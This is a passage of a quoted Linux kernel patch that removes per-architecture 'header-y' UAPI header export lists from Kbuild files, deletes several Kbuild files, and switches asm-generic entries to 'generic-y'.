> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += perfmon.h
> -header-y += perfmon_default_smpl.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += ptrace_offsets.h
> -header-y += resource.h
> -header-y += rse.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += ustack.h
> diff --git a/arch/m32r/include/uapi/asm/Kbuild b/arch/m32r/include/uapi/asm/Kbuild
> index 43937a61d6cf..b15bf6bc0e94 100644
> --- a/arch/m32r/include/uapi/asm/Kbuild
> +++ b/arch/m32r/include/uapi/asm/Kbuild
> @@ -1,33 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/m68k/include/uapi/asm/Kbuild b/arch/m68k/include/uapi/asm/Kbuild
> index 6a2d257bdfb2..64368077235a 100644
> --- a/arch/m68k/include/uapi/asm/Kbuild
> +++ b/arch/m68k/include/uapi/asm/Kbuild
> @@ -9,27 +9,3 @@ generic-y += socket.h
>  generic-y += sockios.h
>  generic-y += termbits.h
>  generic-y += termios.h
> -
> -header-y += a.out.h
> -header-y += bootinfo.h
> -header-y += bootinfo-amiga.h
> -header-y += bootinfo-apollo.h
> -header-y += bootinfo-atari.h
> -header-y += bootinfo-hp300.h
> -header-y += bootinfo-mac.h
> -header-y += bootinfo-q40.h
> -header-y += bootinfo-vme.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += fcntl.h
> -header-y += ioctls.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += unistd.h
> diff --git a/arch/metag/include/uapi/asm/Kbuild b/arch/metag/include/uapi/asm/Kbuild
> index ab78be2b6eb0..b29731ebd7a9 100644
> --- a/arch/metag/include/uapi/asm/Kbuild
> +++ b/arch/metag/include/uapi/asm/Kbuild
> @@ -1,14 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += byteorder.h
> -header-y += ech.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += swab.h
> -header-y += unistd.h
> -
>  generic-y += mman.h
>  generic-y += resource.h
>  generic-y += setup.h
> diff --git a/arch/microblaze/include/uapi/asm/Kbuild b/arch/microblaze/include/uapi/asm/Kbuild
> index 1aac99f87df1..2178c78c7c1a 100644
> --- a/arch/microblaze/include/uapi/asm/Kbuild
> +++ b/arch/microblaze/include/uapi/asm/Kbuild
> @@ -2,35 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += types.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += unistd.h
> diff --git a/arch/mips/include/uapi/asm/Kbuild b/arch/mips/include/uapi/asm/Kbuild
> index f2cf41461146..a0266feba9e6 100644
> --- a/arch/mips/include/uapi/asm/Kbuild
> +++ b/arch/mips/include/uapi/asm/Kbuild
> @@ -2,40 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += ipcbuf.h
> -
> -header-y += auxvec.h
> -header-y += bitfield.h
> -header-y += bitsperlong.h
> -header-y += break.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += inst.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += sgidefs.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sysmips.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/mn10300/include/uapi/asm/Kbuild b/arch/mn10300/include/uapi/asm/Kbuild
> index 040178cdb3eb..b15bf6bc0e94 100644
> --- a/arch/mn10300/include/uapi/asm/Kbuild
> +++ b/arch/mn10300/include/uapi/asm/Kbuild
> @@ -1,34 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/nios2/include/uapi/asm/Kbuild b/arch/nios2/include/uapi/asm/Kbuild
> index e0bb972a50d7..766455d0d291 100644
> --- a/arch/nios2/include/uapi/asm/Kbuild
> +++ b/arch/nios2/include/uapi/asm/Kbuild
> @@ -1,5 +1,3 @@
> +# UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += elf.h
> -
>  generic-y += ucontext.h
> diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
> index 2832f031fb11..561915716fd9 100644
> --- a/arch/openrisc/include/asm/Kbuild
> +++ b/arch/openrisc/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ucontext.h
> -
>  generic-y += atomic.h
>  generic-y += auxvec.h
>  generic-y += barrier.h
> diff --git a/arch/openrisc/include/uapi/asm/Kbuild b/arch/openrisc/include/uapi/asm/Kbuild
> index 80761eb82b5f..b15bf6bc0e94 100644
> --- a/arch/openrisc/include/uapi/asm/Kbuild
> +++ b/arch/openrisc/include/uapi/asm/Kbuild
> @@ -1,10 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += kvm_para.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += unistd.h
> diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
> index 348356c99514..3971c60a7e7f 100644
> --- a/arch/parisc/include/uapi/asm/Kbuild
> +++ b/arch/parisc/include/uapi/asm/Kbuild
> @@ -2,31 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += resource.h
> -
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += pdc.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/powerpc/include/uapi/asm/Kbuild b/arch/powerpc/include/uapi/asm/Kbuild
> index dab3717e3ea0..b15bf6bc0e94 100644
> --- a/arch/powerpc/include/uapi/asm/Kbuild
> +++ b/arch/powerpc/include/uapi/asm/Kbuild
> @@ -1,47 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += bootx.h
> -header-y += byteorder.h
> -header-y += cputable.h
> -header-y += eeh.h
> -header-y += elf.h
> -header-y += epapr_hcalls.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += nvram.h
> -header-y += opal-prd.h
> -header-y += param.h
> -header-y += perf_event.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ps3fb.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += spu_info.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += tm.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/arch/s390/include/uapi/asm/Kbuild b/arch/s390/include/uapi/asm/Kbuild
> index bf736e764cb4..b15bf6bc0e94 100644
> --- a/arch/s390/include/uapi/asm/Kbuild
> +++ b/arch/s390/include/uapi/asm/Kbuild
> @@ -1,54 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += chpid.h
> -header-y += chsc.h
> -header-y += clp.h
> -header-y += cmb.h
> -header-y += dasd.h
> -header-y += debug.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += hypfs.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += kvm_perf.h
> -header-y += kvm_virtio.h
> -header-y += mman.h
> -header-y += monwriter.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += qeth.h
> -header-y += resource.h
> -header-y += schid.h
> -header-y += sclp_ctl.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sie.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += tape390.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += virtio-ccw.h
> -header-y += vtoc.h
> -header-y += zcrypt.h
> diff --git a/arch/score/include/asm/Kbuild b/arch/score/include/asm/Kbuild
> index a05218ff3fe4..128ca7ec0220 100644
> --- a/arch/score/include/asm/Kbuild
> +++ b/arch/score/include/asm/Kbuild
> @@ -1,7 +1,3 @@
> -
> -header-y +=
> -
> -
>  generic-y += barrier.h
>  generic-y += clkdev.h
>  generic-y += cputime.h
> diff --git a/arch/score/include/uapi/asm/Kbuild b/arch/score/include/uapi/asm/Kbuild
> index 040178cdb3eb..b15bf6bc0e94 100644
> --- a/arch/score/include/uapi/asm/Kbuild
> +++ b/arch/score/include/uapi/asm/Kbuild
> @@ -1,34 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/sh/include/uapi/asm/Kbuild b/arch/sh/include/uapi/asm/Kbuild
> index 60613ae78513..b15bf6bc0e94 100644
> --- a/arch/sh/include/uapi/asm/Kbuild
> +++ b/arch/sh/include/uapi/asm/Kbuild
> @@ -1,25 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += cpu-features.h
> -header-y += hw_breakpoint.h
> -header-y += ioctls.h
> -header-y += posix_types.h
> -header-y += posix_types_32.h
> -header-y += posix_types_64.h
> -header-y += ptrace.h
> -header-y += ptrace_32.h
> -header-y += ptrace_64.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += types.h
> -header-y += unistd.h
> -header-y += unistd_32.h
> -header-y += unistd_64.h
> diff --git a/arch/sparc/include/uapi/asm/Kbuild b/arch/sparc/include/uapi/asm/Kbuild
> index b5843ee09fb5..b15bf6bc0e94 100644
> --- a/arch/sparc/include/uapi/asm/Kbuild
> +++ b/arch/sparc/include/uapi/asm/Kbuild
> @@ -1,50 +1,2 @@
>  # UAPI Header export list
> -# User exported sparc header files
> -
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += apc.h
> -header-y += asi.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += display7seg.h
> -header-y += envctrl.h
> -header-y += errno.h
> -header-y += fbio.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += jsflash.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += openpromio.h
> -header-y += param.h
> -header-y += perfctr.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += psr.h
> -header-y += psrcompat.h
> -header-y += pstate.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += traps.h
> -header-y += uctx.h
> -header-y += unistd.h
> -header-y += utrap.h
> -header-y += watchdog.h
> diff --git a/arch/tile/include/asm/Kbuild b/arch/tile/include/asm/Kbuild
> index 2d1f5638974c..057eaa533877 100644
> --- a/arch/tile/include/asm/Kbuild
> +++ b/arch/tile/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ../arch/
> -
>  generic-y += bug.h
>  generic-y += bugs.h
>  generic-y += clkdev.h
> diff --git a/arch/tile/include/uapi/arch/Kbuild b/arch/tile/include/uapi/arch/Kbuild
> deleted file mode 100644
> index 97dfbecec6b6..000000000000
> --- a/arch/tile/include/uapi/arch/Kbuild
> +++ /dev/null
> @@ -1,17 +0,0 @@
> -# UAPI Header export list
> -header-y += abi.h
> -header-y += chip.h
> -header-y += chip_tilegx.h
> -header-y += chip_tilepro.h
> -header-y += icache.h
> -header-y += interrupts.h
> -header-y += interrupts_32.h
> -header-y += interrupts_64.h
> -header-y += opcode.h
> -header-y += opcode_tilegx.h
> -header-y += opcode_tilepro.h
> -header-y += sim.h
> -header-y += sim_def.h
> -header-y += spr_def.h
> -header-y += spr_def_32.h
> -header-y += spr_def_64.h
> diff --git a/arch/tile/include/uapi/asm/Kbuild b/arch/tile/include/uapi/asm/Kbuild
> index c20db8e428bf..e0a50111e07f 100644
> --- a/arch/tile/include/uapi/asm/Kbuild
> +++ b/arch/tile/include/uapi/asm/Kbuild
> @@ -1,21 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += hardwall.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -
>  generic-y += ucontext.h
> +
> +subdir-y += ../arch
> diff --git a/arch/unicore32/include/uapi/asm/Kbuild b/arch/unicore32/include/uapi/asm/Kbuild
> index 0514d7ad6855..13a97aa2285f 100644
> --- a/arch/unicore32/include/uapi/asm/Kbuild
> +++ b/arch/unicore32/include/uapi/asm/Kbuild
> @@ -1,10 +1,4 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += unistd.h
> -
>  generic-y += kvm_para.h
> diff --git a/arch/x86/include/uapi/asm/Kbuild b/arch/x86/include/uapi/asm/Kbuild
> index 3dec769cadf7..83b6e9a0dce4 100644
> --- a/arch/x86/include/uapi/asm/Kbuild
> +++ b/arch/x86/include/uapi/asm/Kbuild
> @@ -4,62 +4,3 @@ include include/uapi/asm-generic/Kbuild.asm
>  genhdr-y += unistd_32.h
>  genhdr-y += unistd_64.h
>  genhdr-y += unistd_x32.h
> -header-y += a.out.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += boot.h
> -header-y += bootparam.h
> -header-y += byteorder.h
> -header-y += debugreg.h
> -header-y += e820.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += hw_breakpoint.h
> -header-y += hyperv.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += ist.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += kvm_perf.h
> -header-y += ldt.h
> -header-y += mce.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += msr-index.h
> -header-y += msr.h
> -header-y += mtrr.h
> -header-y += param.h
> -header-y += perf_regs.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += posix_types_32.h
> -header-y += posix_types_64.h
> -header-y += posix_types_x32.h
> -header-y += prctl.h
> -header-y += processor-flags.h
> -header-y += ptrace-abi.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += sigcontext32.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += svm.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += vm86.h
> -header-y += vmx.h
> -header-y += vsyscall.h
> diff --git a/arch/xtensa/include/uapi/asm/Kbuild b/arch/xtensa/include/uapi/asm/Kbuild
> index 56aad54e7fb7..b15bf6bc0e94 100644
> --- a/arch/xtensa/include/uapi/asm/Kbuild
> +++ b/arch/xtensa/include/uapi/asm/Kbuild
> @@ -1,25 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/include/Kbuild b/include/Kbuild
> deleted file mode 100644
> index bab1145bc7a7..000000000000
> --- a/include/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# Top-level Makefile calls into asm-$(ARCH)
> -# List only non-arch directories below
> diff --git a/include/asm-generic/Kbuild.asm b/include/asm-generic/Kbuild.asm
> deleted file mode 100644
> index d2ee86b4c091..000000000000
> --- a/include/asm-generic/Kbuild.asm
> +++ /dev/null
> @@ -1 +0,0 @@
> -include include/uapi/asm-generic/Kbuild.asm
> diff --git a/include/scsi/fc/Kbuild b/include/scsi/fc/Kbuild
> deleted file mode 100644
> index e69de29bb2d1..000000000000
> diff --git a/include/uapi/Kbuild b/include/uapi/Kbuild
> deleted file mode 100644
> index 245aa6e05e6a..000000000000
> --- a/include/uapi/Kbuild
> +++ /dev/null
> @@ -1,15 +0,0 @@
> -# UAPI Header export list
> -# Top-level Makefile calls into asm-$(ARCH)
> -# List only non-arch directories below
> -
> -
> -header-y += asm-generic/
> -header-y += linux/
> -header-y += sound/
> -header-y += mtd/
> -header-y += rdma/
> -header-y += video/
> -header-y += drm/
> -header-y += xen/
> -header-y += scsi/
> -header-y += misc/
> diff --git a/include/uapi/asm-generic/Kbuild b/include/uapi/asm-generic/Kbuild
> deleted file mode 100644
> index b73de7bb7a62..000000000000
> --- a/include/uapi/asm-generic/Kbuild
> +++ /dev/null
> @@ -1,36 +0,0 @@
> -# UAPI Header export list
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += errno-base.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += int-l64.h
> -header-y += int-ll64.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman-common.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += shmparam.h
> -header-y += siginfo.h
> -header-y += signal-defs.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/include/uapi/asm-generic/Kbuild.asm b/include/uapi/asm-generic/Kbuild.asm
> index fcd50b759217..c13805d5a2a0 100644
> --- a/include/uapi/asm-generic/Kbuild.asm
> +++ b/include/uapi/asm-generic/Kbuild.asm
> @@ -8,38 +8,38 @@ opt-header += a.out.h
>  #
>  # Headers that are mandatory in usr/include/asm/
>  #
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> +generic-y += auxvec.h
> +generic-y += bitsperlong.h
> +generic-y += byteorder.h
> +generic-y += errno.h
> +generic-y += fcntl.h
> +generic-y += ioctl.h
> +generic-y += ioctls.h
> +generic-y += ipcbuf.h
> +generic-y += mman.h
> +generic-y += msgbuf.h
> +generic-y += param.h
> +generic-y += poll.h
> +generic-y += posix_types.h
> +generic-y += ptrace.h
> +generic-y += resource.h
> +generic-y += sembuf.h
> +generic-y += setup.h
> +generic-y += shmbuf.h
> +generic-y += sigcontext.h
> +generic-y += siginfo.h
> +generic-y += signal.h
> +generic-y += socket.h
> +generic-y += sockios.h
> +generic-y += stat.h
> +generic-y += statfs.h
> +generic-y += swab.h
> +generic-y += termbits.h
> +generic-y += termios.h
> +generic-y += types.h
> +generic-y += unistd.h
>  
> -header-y += $(foreach hdr,$(opt-header), \
> +generic-y += $(foreach hdr,$(opt-header), \
>  	      $(if \
>  		$(wildcard \
>  			$(srctree)/arch/$(SRCARCH)/include/uapi/asm/$(hdr) \
> diff --git a/include/uapi/drm/Kbuild b/include/uapi/drm/Kbuild
> deleted file mode 100644
> index 9355dd8eff3b..000000000000
> --- a/include/uapi/drm/Kbuild
> +++ /dev/null
> @@ -1,22 +0,0 @@
> -# UAPI Header export list
> -header-y += drm.h
> -header-y += drm_fourcc.h
> -header-y += drm_mode.h
> -header-y += drm_sarea.h
> -header-y += amdgpu_drm.h
> -header-y += exynos_drm.h
> -header-y += i810_drm.h
> -header-y += i915_drm.h
> -header-y += mga_drm.h
> -header-y += nouveau_drm.h
> -header-y += qxl_drm.h
> -header-y += r128_drm.h
> -header-y += radeon_drm.h
> -header-y += savage_drm.h
> -header-y += sis_drm.h
> -header-y += tegra_drm.h
> -header-y += via_drm.h
> -header-y += vmwgfx_drm.h
> -header-y += msm_drm.h
> -header-y += vc4_drm.h
> -header-y += virtgpu_drm.h
> diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild
> deleted file mode 100644
> index a8b93e685239..000000000000
> --- a/include/uapi/linux/Kbuild
> +++ /dev/null
> @@ -1,482 +0,0 @@
> -# UAPI Header export list
> -header-y += android/
> -header-y += byteorder/
> -header-y += can/
> -header-y += caif/
> -header-y += dvb/
> -header-y += hdlc/
> -header-y += hsi/
> -header-y += iio/
> -header-y += isdn/
> -header-y += mmc/
> -header-y += nfsd/
> -header-y += raid/
> -header-y += spi/
> -header-y += sunrpc/
> -header-y += tc_act/
> -header-y += tc_ematch/
> -header-y += netfilter/
> -header-y += netfilter_arp/
> -header-y += netfilter_bridge/
> -header-y += netfilter_ipv4/
> -header-y += netfilter_ipv6/
> -header-y += usb/
> -header-y += wimax/
> -
> -genhdr-y += version.h
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/a.out.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/a.out.h),)
> -header-y += a.out.h
> -endif
> -
> -header-y += acct.h
> -header-y += adb.h
> -header-y += adfs_fs.h
> -header-y += affs_hardblocks.h
> -header-y += agpgart.h
> -header-y += aio_abi.h
> -header-y += am437x-vpfe.h
> -header-y += apm_bios.h
> -header-y += arcfb.h
> -header-y += atalk.h
> -header-y += atmapi.h
> -header-y += atmarp.h
> -header-y += atmbr2684.h
> -header-y += atmclip.h
> -header-y += atmdev.h
> -header-y += atm_eni.h
> -header-y += atm.h
> -header-y += atm_he.h
> -header-y += atm_idt77105.h
> -header-y += atmioc.h
> -header-y += atmlec.h
> -header-y += atmmpc.h
> -header-y += atm_nicstar.h
> -header-y += atmppp.h
> -header-y += atmsap.h
> -header-y += atmsvc.h
> -header-y += atm_tcp.h
> -header-y += atm_zatm.h
> -header-y += audit.h
> -header-y += auto_fs4.h
> -header-y += auto_fs.h
> -header-y += auxvec.h
> -header-y += ax25.h
> -header-y += b1lli.h
> -header-y += baycom.h
> -header-y += bcm933xx_hcs.h
> -header-y += bfs_fs.h
> -header-y += binfmts.h
> -header-y += blkpg.h
> -header-y += blktrace_api.h
> -header-y += blkzoned.h
> -header-y += bpf_common.h
> -header-y += bpf_perf_event.h
> -header-y += bpf.h
> -header-y += bpqether.h
> -header-y += bsg.h
> -header-y += bt-bmc.h
> -header-y += btrfs.h
> -header-y += can.h
> -header-y += capability.h
> -header-y += capi.h
> -header-y += cciss_defs.h
> -header-y += cciss_ioctl.h
> -header-y += cdrom.h
> -header-y += cec.h
> -header-y += cec-funcs.h
> -header-y += cgroupstats.h
> -header-y += chio.h
> -header-y += cm4000_cs.h
> -header-y += cn_proc.h
> -header-y += coda.h
> -header-y += coda_psdev.h
> -header-y += coff.h
